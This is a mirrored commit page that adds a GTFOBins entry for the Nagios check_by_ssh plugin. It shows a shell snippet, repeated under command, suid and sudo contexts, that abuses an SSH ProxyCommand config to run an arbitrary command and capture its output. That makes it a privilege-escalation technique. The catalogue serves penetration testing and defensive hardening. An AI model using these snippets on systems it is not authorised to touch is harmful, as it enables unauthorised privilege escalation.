mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
New command: check_by_ssh
This commit is contained in:
parent
cbfec71fa5
commit
127738e927
29
_gtfobins/check_by_ssh.md
Normal file
29
_gtfobins/check_by_ssh.md
Normal file
@ -0,0 +1,29 @@
|
||||
---
|
||||
description: |
|
||||
This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
|
||||
functions:
|
||||
command:
|
||||
- code: |
|
||||
COMMAND='/usr/bin/id'
|
||||
OUTPUT="output_file"
|
||||
TF=$(mktemp)
|
||||
echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF
|
||||
check_by_ssh -F "$TF" -H localhost -C something
|
||||
cat $OUTPUT
|
||||
suid:
|
||||
- code: |
|
||||
COMMAND='/usr/bin/id'
|
||||
OUTPUT="output_file"
|
||||
TF=$(mktemp)
|
||||
echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF
|
||||
check_by_ssh -F "$TF" -H localhost -C something
|
||||
cat $OUTPUT
|
||||
sudo:
|
||||
- code: |
|
||||
COMMAND='/usr/bin/id'
|
||||
OUTPUT="output_file"
|
||||
TF=$(mktemp)
|
||||
echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF
|
||||
check_by_ssh -F "$TF" -H localhost -C something
|
||||
cat $OUTPUT
|
||||
---
|
Loading…
Reference in New Issue
Block a user